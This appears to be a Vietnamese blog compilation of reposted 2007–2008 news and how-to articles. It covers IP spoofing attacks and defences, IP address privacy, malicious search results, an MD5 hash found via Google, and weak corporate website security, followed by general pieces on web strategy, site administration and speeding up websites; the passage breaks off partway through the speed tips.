Trong phần tiêu đề (header) của những gói dữ liệu luôn có địa chỉ IP của nguồn xuất phát dữ liệu và chỉ số thứ tự (sequence number - dùng để sắp xếp các gói dữ liệu nhận được theo một thứ tự định sẵn). Địa chỉ IP nguồn rất dễ bị giả mạo. Nếu đoán được quy tắc gán chỉ số thứ tự của hệ điều hành thì hacker có thể khống chế được các phiên xác lập kết nối để từ đó khai thác thông tin trên mạng.

Khi hacker sử dụng trò đánh lừa IP để chiếm quyền điều khiển trình duyệt web trên máy tính, địa chỉ trang web hợp pháp mà người sử dụng muốn truy cập sẽ bị đổi thành địa chỉ trang web do hacker ấn định. Nếu họ tiếp tục truy cập vào những nội dung động (như nhập dữ liệu vào các ô trắng), hacker có thể thu thập được thông tin nhạy cảm.

Kiểu mò mẫm (blind spoofing)

Để tìm hiểu cách thức truyền tải dữ liệu trong mạng, hacker sẽ gửi nhiều gói dữ liệu đến một máy nào đó để nhận lại những thông điệp xác nhận. Bằng cách phân tích những thông điệp này, chúng có thể biết được quy tắc gán chỉ số thứ tự cho từng gói dữ liệu của hệ thống mạng. Kiểu tấn công này hiện nay ít được áp dụng vì các hệ điều hành mới ứng dụng phương pháp gán chỉ số thứ tự một cách ngẫu nhiên, khiến chúng khó có thể lần ra.

Kiểu ẩn mình (nonblind spoofing)

Trong kiểu tấn công này, hacker tìm cách ẩn mình trong cùng mạng phụ với máy tính sẽ bị tấn công. Từ đó, chúng có thể nắm được toàn bộ chu trình gửi tin và trả lời tín hiệu giữa máy bị tấn công với các máy tính khác trong mạng. Bằng cách đó, hacker biết đượccác chỉ số thứ tự của gói dữ liệu và có thể chiếm quyền điều khiển các phiene trao đổi thông tin, vượt qua chu trình xác nhận đã được lập trước đó.

Từ chối dịch vụ (Denial of Service)

Đây là một trong những kiểu tấn công khó phòng ngừa nhất. Mục đích của hacker là làm cho đường truyền bị tắc nghẽn do có quá nhiều yêu cầu được gửi đến máy tính bị tấn công trong một khoảng thời gian ngắn, khiến cho hệ thống mạng không thể gửi các gói tin báo nhận kịp thời. Hacker thường giả mạo địa chỉ IP của nhiều máy tính khiến cho việc truy tìm các địa chỉ này và ngăn chặn tấn công không đạt kết quả cao.

Chen giữa các máy tính (Man in the Middle)

Trong kiểu tấn công này, khi 2 máy tính đang truyền tin với nhau một cách bình thường, hacker sẽ chặn các gói dữ liệu gửi đi từ 2 máy đó, thay thế bằng những gói dữ liệu khác và gửi chúng đi. Khi đó, 2 máy tính bị giả mạo đều không hay biết gì về việc dữ liệu của chúng bị thay đổi. Kiểu tấn công này thường được dùng để lấy những thông tin bảo mật của máy tính.

Tuy nhiên, đánh lừa IP cũng có một số ứng dụng hợp pháp. Ví dụ: trong việc truy cập Internet vệ tinh, nhà cung cấp dịch vụ có thể can thiệp vào những giao thức để các gói dữ liệu có thể đến được nơi nhận nhanh chóng hơn. Việc này cũng có thể áp dụng trong mạng riêng ảo VPN để tránh sự chậm trễ trong việc xác nhận các kết nối.

Cách phòng chống

Sử dụng bộ giao thức IPSec để mã hóa và xác nhận các gói dữ liệu trao đổi ở lớp mạng.

Dùng danh sách kiểm soát việc truy cập để ngăn chặn những gói tin dữ liệu tải về có địa chỉ IP cá nhân.

Cài đặt bộ lọc dữ liệu đi vào và đi ra khỏi hệ thống mạng.

Cấu hình các bộ chuyển mạch và bộ định tuyến để loại trừ những gói dữ liệu từ bên ngoài vào hệ thống mạng nhưng lại khai báo là có nguồn gốc từ một máy tính nằm trong hệ thống.

Kích hoạt các quy trình mã hóa trong bộ định tuyến để những máy tính đã được xác nhận nhưng nằm ngoài hệ thống mạng có thể liên lạc một cách an toàn với các máy tính trong hệ thống.

(Theo Thời báo Vi tính Sài Gòn)

Địa chỉ IP cần được bảo vệ như thông tin cá nhân

2008-02-21T09:44:00.000+07:00

Khi nhiều phần mềm có thể dò được địa chỉ IP của bất kỳ máy tính nối mạng nào, người ta sẽ biết vị trí của chiếc máy và cả những thông tin quan trọng của người sử dụng.

Liên minh châu Âu cho rằng địa chỉ IP liên quan đến các cá nhân, tổ chức, doanh nghiệp và cần được tôn trọng. Trong khi đó, các hãng tìm kiếm như Google lập luận rằng địa chỉ này chỉ giúp xác định vị trí của máy chứ không lấy thông tin người dùng. Ngoài ra, có nhiều người cùng sử dụng một máy tính với cùng dải IP.

Peter Scharr, Ủy viên ban bảo vệ dữ liệu của Đức, thừa nhận các địa chỉ IP cho một máy tính không nhất thiết thuộc về cá nhân vì nhiều quán Internet hay văn phòng có đông người sử dụng. Tuy vậy, không thể bỏ qua những trường hợp "số nhà" điện tử này thuộc về cá nhân và các tổ chức. Việc để lộ thông tin này là xâm phạm quyền riêng tư.

Hiện các công ty quảng cáo trực tuyến muốn phát tán những mẩu thông tin tới chuỗi máy tính khác nhau qua hệ thống địa chỉ IP thu thập được. Càng nhiều địa chỉ IP nghĩa là càng nhiều người có khả năng đọc thông tin.

(Theo VnExpress)

Nguy cơ tiềm ẩn trên Google Search

2007-11-28T16:15:00.001+07:00

Các chuyên gia bảo mật hôm 28-11 chính thức khởi động một chiến dịch nhằm hướng dẫn người dung phân biệt những website độc hại được liệt kê trong trang kết quả tìm kiếm của Google Search.

Cho dù người dùng thực hiện tìm kiếm trên Google Search bằng những cụm từ bình thường - ví dụ "how to cisco router vpn dial in" hoặc “cell phones” - nhưng trên trang kết quả được hiển thị sau đó không hề thiếu các website độc hại.

“Số lượng website độc hại vô cùng lớn,” ông Alex Eckelberry - Giám đốc điều hành Sunbelt Software - cho biết. “Hiện chúng tôi đã phát hiện được 27 tên miền độc hại. Mỗi tên miền nói trên trỏ đến 1.499 trang web độc hại khác nhau. Tính ra số lượng website độc hại sẽ không dưới 40.000 trang”.

Những kẻ sở hữu các website độc hại này thường sử dụng các biện pháp như “comment spam” hoặc “blog spam” để tăng mức độ truy cập giúp đẩy cao xếp hạng của website trên Google Search. Nhờ đó những website đó được hiển thị nhiều hơn và ở vị trí cao hơn trên trang kết quả tìm kiếm của Google Search.

Hiện chưa có bằng chứng nào cho thấy tội phạm mạng bỏ tiền ra mua từ khoá tìm kiếm của Google. Tuy nhiên, chắc chắn một điều chúng đã thực hiện nhiều thủ đoạn để “bắt cóc” chiếm quyền điều khiển không ít website hợp pháp để giúp chúng phát tán mã độc.

“Chúng tìm mọi thủ đoạn để xuất hiện trên Google và chuyển hướng bất kỳ người dùng nào không để ý nhắp chuột vào website của chúng đến các website độc hại khác,” ông Eckelberry cho biết.

Hầu hết người dùng thường không mấy khi để ý và nghi ngờ những kết quả tìm kiếm trên Google bởi liên kết đến những website đó được hiển thị với những từ khoá rất phù hợp với mong muốn tìm kiếm và mang những tên miền cấp một “rất kêu”.

Một khi đã truy cập vào những website độc hại đó người dùng thường phải đối mặt với một thông báo giả mạo thiếu sót tính năng gì đó để có thể hiện thị tốt website. Nếu người dùng nhắp chuột vào thông báo đó thì đồng nghĩa họ đã chấp nhận tải về rất nhiều mã độc.

Ví dụ, Sunbelt Software đã phát hiện được có những website sẵn sàng cài đặt tới 25 loại mã độc khác nhau lên PC người dùng - như phần mềm chuyên gửi thư rác, rootkit, ăn cắp mật khẩu, trojan … - nếu họ vô tình nhắp chuột truy cập vào. Bất kỳ PC nào không được cài đặt đầy đủ các bản vá lỗi đều sẽ phải lĩnh hậu quả khôn lường.

Các chuyên gia bảo mật khuyến cáo người dùng nên xem xét cẩn thận mỗi khi quyết định nhắp chuột vào một liên kết kết quả tìm kiếm nào đó. Có những website độc hại được Google nhận diện và cảnh báo đầy đủ. Người dùng nên tránh những website này đồng thời thường xuyên nâng cấp cài đặt các bản sửa lỗi mới nhất cho các phần mềm trên PC.

(Theo PC World)

Google biến thành... công cụ bẻ mật khẩu

2007-11-28T16:14:00.001+07:00

Một chuyên gia của Khoa Công nghệ máy tính trường Đại học Cambridge, Anh, đã sử dụng thành công Google để bẻ khóa những mật khẩu thiết lập bằng định dạng MD5 (Thuật toán Số-Chữ 5).

Trong một dịp tình cờ, chuyên gia bảo mật Steven Murdoch phát hiện thấy blog cá nhân Light Blue Touchpaper của mình đã bị một kẻ ẩn danh xâm nhập. Kẻ này thậm chí còn thiết lập một tài khoản admin bên trong phần mềm blog Wordpress - vốn được cài đặt trên máy chủ.

Khi tiến hành kiểm tra toàn diện máy tính của mình để xác định mức độ thiệt hại, Murdoch đã bị ấn tượng bởi cách phá mật khẩu Wordpress của hacker.

Do tất cả mật khẩu Wordpress đều thuộc định dạng MD5 và được lưu trữ bên trong cơ sở dữ liệu người dùng nên Murdoch đã viết ra một đoạn mã script, so sánh toàn bộ từ khóa trong từ điển tiếng Anh với MD5 để tìm ra từ tương ứng.

Tuy nhiên, nỗ lực thử nghiệm đầu tiên này đã thất bại, và Murdoch quyết định chuyển sang sử dụng từ điển tiếng Nga. Nguyên do là vì ông đã tìm thấy nhiều comment viết bằng tiếng Nga bên trong đoạn mã được cấy lên máy chủ.

Thế nhưng ngay cả nỗ lực thứ hai này cũng không thành công. Đó là khi Murdoch quyết định nhờ cậy... Google.

Murdoch đã nhập mật khẩu MD5 vào trong Google và nhận được nhiều đường link kết quả với một điểm chung: Cái tên Anthony. Điều đó khiến ông đủ chắc chắn để tin rằng Anthony chính là mật khẩu.

"Google đang kiêm nhiệm cả chức năng của một công cụ bẻ khóa, bởi nó cho phép ta tìm kiếm những mật khẩu từng được mã hóa trước đây. Rõ ràng là Google đang làm công việc mà họ vẫn làm tốt nhất: lưu trữ một cơ sở dữ liệu khổng lồ rồi tìm kiếm trong đó", Murdoch cho biết.

(Theo VNUnet)

Tấn công website công ty, 5 phút là xong!

2007-11-15T10:40:00.000+07:00

Website của doanh nghiệp Việt Nam hiện nay, thậm chí của cơ quan nhà nước, rất dễ xâm nhập để thay đổi dữ liệu. Trao đổi với chúng tôi, anh Võ Đỗ Thắng - Giám đốc Trung tâm Athena, một công ty chuyên về đào tạo bảo mật và an ninh mạng, cho biết các website của doanh nghiệp Việt Nam hiện nay, thậm chí của cơ quan nhà nước rất dễ xâm nhập để thay đổi dữ liệu.

Rất dễ, kể cả website của công ty chứng khoán!

Tại công ty của anh Thắng, thật bất ngờ, chúng tôi gặp lại Bùi Minh Trí, học sinh lớp 12 ở Vĩnh Long từng "nổi danh" trong vụ tấn công website của Bộ Giáo dục - Đào tạo cách đây gần 1 năm. Khá rụt rè, Trí nói: "Em hiện nay theo học khóa đào tạo nâng cao về bảo mật và an ninh mạng, sau những việc làm thiếu suy nghĩ trước đây, em đã quyết tâm làm một hacker mũ trắng". Theo đề nghị của chúng tôi, Trí bắt đầu thực hiện các thao tác để phát hiện các trang web có lỗ hổng. 5 phút sau, Bùi Minh Trí đã thông báo có thể xâm nhập vào hệ thống máy chủ của một website và chỉ dẫn cho chúng tôi xem. Sau đó, Trí còn xâm nhập được vào cả hệ thống cơ sở dữ liệu của một công ty chuyên về công nghệ thông tin hàng đầu Việt Nam hiện nay và có thể thay đổi cả nội dung các bản tin trên website...

Theo Trung tâm an ninh mạng Bkis Đại học Bách khoa Hà Nội, trong tháng 10.2007, Bkis đã gửi cảnh báo tới 32 cơ quan, doanh nghiệp về các lỗ hổng ở mức độ nguy hiểm cao, hacker có thể lợi dụng để đánh cắp cơ sở dữ liệu, chiếm quyền kiểm soát website và máy chủ. Một chuyên gia về bảo mật thông tin cảnh báo: "Tôi đã thử xâm nhập vào một số website của các công ty chứng khoán hàng đầu Việt Nam và thật bất ngờ là công tác bảo mật lại rất mỏng manh. Với những lỗ hổng bảo mật, việc hacker xâm nhập vào, nắm bắt và thay đổi được thông tin của các công ty niêm yết, các nhà đầu tư hay chỉnh sửa nội dung cổng thông tin của công ty chứng khoán để tung ra các tin đồn thất thiệt gây nguy hại đến thị trường là những việc hoàn toàn có thể làm được".

Bảo mật yếu vì thiếu tiền?

Tại hội thảo về bảo mật trong công nghệ thông tin do hãng bảo mật quốc tế McAfee tổ chức ngày 13.11 tại TP.HCM, ông Ashley Wearne - Phó chủ tịch McAfee khu vực Đông Nam Á, Úc, New Zealand và Ấn Độ cho biết: Doanh nghiệp không thể kinh doanh mà không dùng web và liên lạc e-mail. Thế nhưng hầu hết các công ty đều dành ngân sách cho bảo mật công nghệ thông tin chỉ tăng trung bình 3%, quá nhỏ so với tốc độ gia tăng các cuộc tấn công của hacker, virus, spam... Rõ ràng hệ thống công nghệ thông tin cần được bảo vệ nhiều hơn.

Theo thống kê, tại Việt Nam, khoảng 90% doanh nghiệp có cài chương trình diệt virus, trong đó 10% không bao giờ cập nhật phiên bản chống virus mới. Theo các chuyên gia trong ngành bảo mật thông tin, lỗi bảo mật thường gặp ở các doanh nghiệp vừa và nhỏ là không có chương trình chống virus, không sao lưu dữ liệu định kỳ, không cập nhật các phiên bản chống virus và các bản vá lỗi; thiếu người quản trị và giữ an ninh hệ thống mạng... Chính "nhờ" những lỗ hổng như thế mà các hacker tha hồ xâm nhập và cài các đoạn mã nguy hiểm vào làm tê liệt hệ thống máy tính. Tuy nhiên, việc đầu tư một hệ thống bảo mật đồ sộ như của các nhà cung cấp dịch vụ internet hoặc các tập đoàn lớn là điều không thể đối với các doanh nghiệp nhỏ.

Anh Võ Đỗ Thắng nhận định: "Trong thời gian qua, chúng ta chỉ lo phát triển về cơ sở hạ tầng mạng nên chưa quan tâm nhiều đến bảo mật hệ thống thông tin. Ngoài ra, đội ngũ chuyên viên bảo mật vừa thiếu về số lượng và yếu về chuyên môn, các doanh nghiệp chưa có người chuyên trách về bảo mật và lập kế hoạch cho chiến lược bảo mật doanh nghiệp. Bên cạnh đó, ý thức bảo mật thông tin của các doanh nghiệp còn chưa cao, chưa lường hết được hậu quả và thiệt hại khi rò rỉ thông tin hoặc thông tin bí mật của công ty bị nhân viên lấy cắp bán cho đối thủ cạnh tranh. Nếu như nhân viên của một ngân hàng lấy thông tin tài khoản bán cho một ngân hàng cạnh tranh với giá 5 USD/tài khoản thôi thì mức độ thiệt hại của ngân hàng đó có thể lên đến cả triệu USD. Việc đầu tư bảo mật chiếm một số tiền rất nhỏ so với mức độ thiệt hại, cho nên không thể nói vì doanh nghiệp thiếu tiền mà phải nói đến ý thức của chủ doanh nghiệp chưa cao".

(Theo ThanhNien)

Xây dựng chiến lược Web

2007-11-02T16:24:00.000+07:00

1. Chiến lược?

Chiến lược hiểu một cách thông thường là Chiến Đấu với các đối thủ, với bản thân thông qua một Sách Lược cụ thể nhằm đạt được một mục tiêu nào đó mà bản thân bạn hoặc công ty bạn đã đề ra.

Chiến lược là phương hướng và quy mô của một tổ chức dài hạn, chiến lược sẽ mang lại lợi thế cho tổ chức thông qua việc thực hiện các chiến lược đã đề ra.

Bất cứ một công ty, doanh nghiệp đều phải có chiến lược, phương hướng, quy mô hoạt động nhằm mục đích cuối cùng là mang lại lợi nhuận, thanh thế cho tổ chức.

2. Chiến lược web là thế nào?

Bạn đã từng có rất nhiều chiến lược khác nhau, hướng vào thị trường khác nhau ở từng thời điểm khác nhau ví dụ trước đây bạn thực hiện chiến lược bằng cách đăng tin lên báo chí, truyền hình, phát brochure,… để hỗ trợ cho việc kinh doanh, thì thấy ngay lợi ích của nó đối với doanh nghiệp bạn. Nhưng hiện nay liệu việc thực hiện các chiến lược đó có thực sự tối ưu chưa trong khi đối thủ cạnh tranh của bạn đã có một bước tiến mới nhờ áp dụng khoa học công nghệ thông tin vào hoạt động kinh doanh.

Bạn có biết tính đến thời điểm tháng 12 năm 2005 trên mạng Internet có hơn 40 triệu website với hơn 8 tỷ trang web. Nếu một người mỗi ngày tìm kiếm ra và xem 10 website mới thì phải mất 4 triệu ngày (12.000 năm) mới đọc qua hết số website có trên thế giới, đó là chưa kể ước tính mỗi tháng có 1.000.000 website mới ra đời, và dĩ nhiên, số website “chết” trong tháng vẫn không ít.

Bạn có khi nào đặt ra câu hỏi cho mình là tại sao lại có nhiều website như thế không? Thiết nghĩ đó là mục đích rõ ràng không cần suy nghĩ ai cũng biết là nó công cụ phục vụ kinh doanh rất thiết thực hiện nay vì chi phí thấp, quảng bá không giới hạn thời gian, địa điểm mang nó mang tính quốc tế đem lại lợi nhuận cao.

Tuy hiện nay không chắc rằng tất cả các website đều đem lại lợi ích thực sự là vì họ không có một chiến lược đúng đắn, khoa học cho việc kinh doanh trên mạng, và kinh nghiệm còn non yếu với việc áp dụng công nghệ này.

Nhưng bên cạnh đó có rất nhiều website hoạt động đem lại một thanh thế, một thương hiệu, một khoản lợi nhuận khổng lồ cho doanh nghiệp và có rất nhiều doanh nghiệp đã chuyển hướng chỉ thực hiện việc kinh doanh thông qua mang internet, web, email.

Do đó việc có một chiến lược xây dựng một webstie để có thể đem lại lợi nhuận là điều không thể thiếu, phải có sự phân tích, hoạch định, định hướng rõ ràng và phải được sự cố vấn đúng đắn, kịp thời của các những doanh nhân đã thành công trong lĩnh vực kinh doanh trên mạng hiện nay.

3. Lợi ích, tầm quan trọng của việc xây dựng một chiến lượt web?

Việc có một chiến lược web khoa học, đúng đắn sẽ mang lại giúp cho doanh nghiệp bạn vượt qua đối thủ cạnh tranh, đồng hành cùng với các doanh nghiệp tầm cở, có cơ hội cạnh tranh công bằng trên thị trường, theo kịp thời đại hội nhập vào thị trường quốc tế.

Đồng thời bạn còn có được những lợi ích thiết thực:

Giảm chi phí đáng kể.
Giúp doanh nghiệp có một website như mong muốn, đáp ứng xu hướng công nghệ và kinh doanh hiện đại.
Nâng quy mô doanh nghiệp lên một tầm cao mới.
Nâng thanh thế, phạm vi hoạt động của doanh nghiệp ra toàn thế giới.
Tạo ra một hệ thống quản lý hàng hoá, tin tức mang tính khoa học, dễ quản lý, dễ sử dụng, thuận tiện cho việc các đối tác, nhà cung cấp, khách hàng xem hay chọn sản phẩm để mua.

4. Tác động, ảnh hưởng của một chiến lược web lên doanh nghiệp

Đi đôi với sự phát triển và tăng trưởng của nền kinh tế. Nó đòi hỏi doanh nghiệp của bạn phải nỗ lực hết mình để làm viẹc với năng lực và năng xuất cao.

Nhằm thay thế sức lao động thuần tuý của con người và thay đổi phương thức làm việc thủ công kém hiệu quả đã có rất nhiều doanh nghiệp đã bắt nhịp cùng thời đại, xây dựng cho mình một hệ thống quản lý văn phòng hiện đại hơn, thiết thực hơn, tiết kiệm thời gian trong việc quản lý công việc, quản lý lịch công tác, quản lý quan hệ khách hàng, quản lý nhân sự, quản lý tin tức nội bộ, quản lý sản phẩm, quản lý hình ảnh, quản lý văn bản, quản lý tin nhắn chỉ thông qua một công cụ hiện đại hiện nay là website. Và kế hoạch xây dựng website để nó đưa vào hoạt động đúng mục đích, yêu cầu của doanh nghiệp.

Vì vậy chiến lược web là công việc mà bất cứ doanh nghiệp nào cũng phải suy nghĩ, đau đầu, vì nó chình là bộ mặt của của doanh nghiệp đông thời là công cụ quản lý hiệu quả nhất của doanh nghiệp trong thời điểm hiện nay và sau này.

(Sưu tầm)

Quản trị - Bảo trì hệ thống

2007-11-02T16:21:00.000+07:00

1. Tại sao lại phải quản trị bảo trì?

Bảo trì là công việc không thể thiếu khi có một website đang hoạt động, vì các sự cố xảy ra sẽ nhanh chóng được khắc phục để đưa web trở về trạng thái hoạt động bình thường.

Nếu không có bảo trì thì website của bạn sẽ chạy ì ạch hoặc những lỗi nhỏ thông thường sẽ không được sửa chữa lại sẽ làm cho người sử dụng chán nản, không muốn sử dụng.

Nếu không bảo trì thì làm sao có thể đảm bảo được website hoạt động 24/24 mà không bị gián đoạn.

Nếu website không được bảo trì làm sao biết được để nâng cấp, sửa chữa nó cho phù hợp với thời điểm sử dụng, chiến lược kinh doanh.

2. Công việc quản trị - bảo trì như thế nào?

Công việc quản trị - bảo trì hệ thống là một phần vô cùng quan trọng giúp cho bộ máy hoạt động của website trơn tru, dễ sử dụng hơn, luôn luôn tự nâng cấp website lên một tầm cao hơn trước.

Do vậy công việc của bảo trì là:

Backup định kỳ
Tối ưu tốc độ hoạt động của website
Phục hồi hệ thống khi gặp sự cố
Duy trì hệ thống
Xử lý lỗi trong quá trình sử dụng
Thông báo kết quả kiểm tra hàng tháng về các vấn để không mong muốn khi website đang hoạt động từ đó đưa ra các giải pháp, hướng giải quyết để website hoạt động ngày càng tốt hơn, hiểu quả hơn.

3. Lợi ích gì từ việc quản trị - bảo trì?

Đảm bảo được website hoạt động 24/24
Đảm bảo được tốc độ xử lý của website
Đảm bảo được website ngày càng hoàn thiện hơn
Đảm bảo được vấn đề mất mát, bảo mật dữ liệu
Đảm bảo được vấn lỗi lập trình trong quá trình hoạt động của website
Đảm bảo được sự truy cập ổn định
Thống kê được những vấn đề không muốn khi website đang hoạt động.

4. Sai lầm trong việc quản trị bảo trì….

Website nếu không được bảo trì thì thật là tai hại:

Sự cố bất ngờ xảy ra sẽ không có người khắc phục
Việc mất mát dữ liệu, hoặc dữ liệu không được bảo mật là điều không tránh khỏi
Không đảm bảo được website hoạt động 24/24
Không đảm bảo được sự truy cập ổn định
Website không có sự phát triển, không có sự đổi mới
Website không hấp dẫn người xem, không thể thực hiện được mục đích kinh doanh của doanh nghiệp.

(Sưu tầm)

Quản trị - Cập nhật dữ liệu

2007-11-02T16:19:00.000+07:00

1. Quản trị là gì?

Quản trị là phân tích, hoạch định, kiểm tra, kiếm soát các thông tin, dữ liệu trên website, đồng thời xây dựng các kế hoạch, chiến lược kinh doanh trên mạng cho khách hàng nhằm đưa trang web vào hoạt động kinh doanh mang lại lợi nhuận thiết thực cho công ty, doanh nghiệp.

Quản trị là một công việc vô cùng quan trọng đối với một website động đòi hỏi người quản trị phải am hiểu về lĩnh vực kinh doanh trên website, đồng thời phải là người biết về kỹ thuật website, đồ hoạ, tìm kiếm thông tin trên hệ thống các hệ thống seach trên mạng để làm cho website luôn luôn mới mẽ, thu hút và phải biết quảng bá thông tin về website trên mạng.

Để thành công trong việc quản trị đòi hỏi người quản trị phải có kiến thức sâu rộng về Web và TMĐT

2. Quản trị nội dung

Đối với một website thì nội dung hay và chất lượng là hết sức cần thiết vì chính nó tố chất quyết định sự thành công của một trang web, nội dung càng nhiều, càng hấp dẫn, càng được cập nhật thường xuyên, càng chuyên sâu thì số người xem càng đông và việc kinh doanh nhờ đó sẽ phát triển vượt bật.

Tại sao hiện nay có rất nhiều trang web nhưng không thể đưa vào kinh doanh hoặc được vào kinh doanh nhưng không hiệu quả vì khi người xem vào một lần là không bao giờ quay lại vì nội dung nghèo nàn không được cập nhật, trau chuốt… Và người sử dụng, khách hàng chỉ xem qua một lần rồi không quay trở lại nữa vì không có gì hấp dẫn họ, hay nhớ, trên mạng có hàng triệu website như bạn, vì vậy hãy tạo cho mình một nét riêng mà không nới nào có được.

Do đó, quản trị nội dung là công việc quản lý, sắp xếp, chọn lọc nội dung, thông tin một cách khoa học, có kế hoạch vụ thể trong từng giai đoạn phát triển của công ty, của trang web nhằm tạo ấn tượng giúp cho người xem nhanh chóng hiểu được mục đích hoạt động của trang web, thông tin phong phú, hấp dẫn và dễ sử dụng.

Người quản trị nội dung phải nhanh nhẹn trong việc nắm bắt các thông tin liên quan đến ngành nghề như thông tin về thị trường, thông tin sản phẩm, thông tin giá cả, thông tin mới nhất về lĩnh vực kinh doanh của website, các đối thủ cạnh tranh trên mạng, xu hướng công nghệ, thị hiếu online của người xem….

3. Quản trị dữ liệu

Quản trị dữ liệu là công việc quản lý, bảo đảm rằng dữ liệu không bị mất mát, sai sót, dữ liệu càng nhiều thì việc quản lý nó vô cùng phức tạp, buộc người quản lý phải có nhiều kiến thức về server, hệ thống web, bảo mật, database….

Do đó người quản trị phải nắm bắt được cách thức tổ chức, lưu trữ, xử lý lỗi phát sinh, đảm bảo đảm an toàn dữ liệu, bảo mật dữ liệu.

4. Tầm quan trọng của quản trị

Nếu bạn đã có một website thì chắc chắn rằng trang web đó phải có người quản trị, đó cũng chính là người chịu trách nhiệm chính trong lĩnh vực kinh doanh trên mạng, trang web có thu hút, hấp dẫn, nội dung cập nhật nhanh chóng, đẹp mắt hay không là hoàn toàn phụ thuộc vào người quản trị.

Và website có nhiều khách viếng thăm hay không đa phần cũng phụ thuộc vào người quản trị vì họ không chỉ là người quản lý, theo dõi, cập nhật tin tức thường xuyên mà còn là người đưa thông tin, quảng bá website của bạn lên mạng như đặt logo, banner của bạn lên các trang web khác, đưa trang web lên hệ thống tìm kiếm toàn cầu,….. có một chiến lược quảng bá một cách cụ thể khoa học.

Nếu website mà không được quản trị thì nó chỉ là một công cụ, không bao giờ phục vụ được cho việc kinh doanh và mang lại lợi nhuận thiết thực.

Muốn việc quản trị đạt được hiểu quả như mong muốn là điều không dễ, và thật sai lầm khi giao việc đó cho một người hoặc một vài người. Việc này đòi hỏi sự tập trung của cả một tổ chức một công ty chuyên về quản trị.

5. Những sai lầm về việc quản trị

Bạn đừng bao giờ nghĩ rằng việc quản trị là công việc thừa thải, không quan trọng, bởi vì website của bạn có thực sự gây được ấn tượng với khách hàng hay không, có thân thiện không, thông tin có được cập nhật mới không, website chạy ổn định hay lúc có lúc không đó mới là điều quan trọng. Và bạn biết rằng website nó chỉ là khung sườn, là công cụ nếu không biết sử dụng, khai thác triệt để nó để đưa vào hoạt động kinh doanh thì chắc hẳn website đó để chơi, mà để thực hiện được vấn đề đó thì đòi hỏi phải có sự quản trị mà trong đó người quản trị đóng một vai trò hết sức quan trọng phải là người am hiểu về lĩnh vực hoạt động của website, am hiểu về kỹ thuật tin học, website,….

(Sưu tầm)

7 thủ thuật tăng tốc website

2007-10-31T08:46:00.001+07:00

Nghiên cứu thói quen sử dụng máy tính cho thấy người dùng sẽ chuyển sang trang khác nếu website không có “động tĩnh” gì sau 4 giây. Vì thế, tốc độ là yếu tố quan trọng và cũng là ưu thế cạnh tranh để cung cấp thông tin.

7 thủ thuật dưới đây sẽ tăng đáng kể website của bạn.

1. Chuyển host lưu trữ file hoặc ảnh cỡ lớn sang nơi khác:

Dịch vụ ImageShack được nhiều người làm nơi lưu trữ ảnh cho website.

Nhiều người cùng online một lúc có thể làm nghẽn đường truyền của bạn với hàng đống yêu cầu xem cùng một tấm hình trên website. Gánh nặng dữ liệu có thể chuyển sang những website chuyên để lưu trữ và chia sẻ ảnh như ImagaShack, Photobucket hay Flickr. Bằng cách này, máy chủ web của bạn chỉ cần đảm bảo phần text và file ảnh cỡ nhỏ, giảm đáng kể băng thông đồng nghĩa với việc phục vụ được nhiều người một lúc hơn.

Nếu muốn chia sẻ những file nhỏ, khoảng 2 – 5MB, với khách viếng thăm, bạn có thể sử dụng dịch vụ Google Pages như một máy chủ web phụ.

2. Tối ưu hóa mã CSS:

Hiện nay, nhiều website bắt đầu sử dụng CSS (Cascade Style Sheet) để định dạng. Mặc dù bảng CSS nhìn bắt mắt và hiệu quả hơn định dạng bảng HTML, nhưng nó đòi hỏi bạn phải tối ưu hóa code của chúng mới mong đạt được tốc độ tối ưu. Đoạn mã CSS “sạch” sẽ giúp trình duyệt giải mã trang web nhanh hơn.

Ví dụ: Thay vì viết:

margin-top: 20px;
margin-right: 10px;
margin-bottom: 20px;
margin-left: 10px;

Bạn nên viết:

margin: 20px 10px 20px 10px;

Theo các chuyên gia tối ưu hóa của Yahoo thì các mã CSS nên được đặt ở phần đầu của web. Điều này đặc biệt ý nghĩa nếu trang của bạn lớn và có nhiều đối tượng. Nếu bạn đặt CSS ở cuối hoặc giữa trang web, trình duyệt sẽ dùng định dạng mặc định để hiện thị, sau đó mới tái định dạng bằng CSS. Điều đó đòi hỏi thêm thời gian tính toán và tất nhiên người dùng sẽ khó chịu khi nhìn một website vỡ tung khi chưa định hình.Thậm chí, một số trình duyệt cũng cấm đặt CSS tại cuối website.

Nếu chưa thạo về code, công cụ trực tuyến nhỏ Clean CSS sẽ giúp bạn công đoạn tối ưu này, loại bỏ những khai báo thừa và khoảng trống vô nghĩa. Bạn có thể tham khảo tại đây.

3. Tối ưu hóa hình ảnh:

Sử dụng tính năng Save for Web để loại bớt những thông tin không cần thiết và tối ưu kích thước ảnh.

Có 4 loại định dạng hình ảnh sử dụng phổ biến trên web: PNG, JPG, /JPEG và GIF. Hầu hết các phần mềm xử lý ảnh như Adobe Photoshop đều có tính năng “Save for Web” để tối ưu tỉ lệ giữa chất lượng hình và kích thước file.

4. Khai báo kích thước hình ảnh:

Nhiều lập trình viên nghiệp dư “quên” khai báo tag chiều cao và rộng của ảnh khi viết mã HTML. Hai thông số này báo với trình duyệt kích thước của ảnh trước khi dữ liệu được tải về. Nếu không được khai báo trước, trình duyệt phải tự tính toán kích thước bằng cách download toàn bộ hình ảnh về, sau đó mới đến lượt các dữ liệu khác.

Khi khai báo hình ảnh có đầy đủ các tag, trình duyệt sẽ dành 1 khoảng trống vừa đúng kích thước ảnh và tiếp tục tải dữ liệu . Như vậy, người xem có thể đọc ngay phần văn bản trong khi hình ảnh vẫn tiếp tục được hiện ra từng phần.

5. Giảm thiểu sử dụng Javascript:

Các hiệu ứng hoạt hình của Java script rất bắt mắt và nhiều người có xu hướng đưa chúng vào website của mình. Tuy nhiên, sử dụng quá nhiều Javascript có thể làm trình duyệt bị treo cứng khiến người dùng bực mình. Phải cân nhắc thật kỹ lưỡng trước khi sử dụng chúng.

Vị trí đặt các đoạn mã script cũng khá quan trọng đối với tốc độ hiển thị. Lời khuyên của dân lập trình chuyên nghiệp: chỉ để những script thực sự quan trọng có ảnh hưởng toàn trang lên đầu, còn những hiệu ứng khác (hoạt hình, thống kê,…) thì cho xuống cuối trang.

Việc đưa Javascript và CSS ra liên kết bên ngoài tốt hơn là chèn thẳng vào trang web. Những file này sẽ được lưu tại bộ nhớ đệm (cache) của trình duyệt và người dùng sẽ không phải download lại chúng mỗi khi cần đến. Nó giảm đáng kể thời gian và băng thông của máy chủ cũng như người dùng.

6. Tối ưu hóa liên kết:

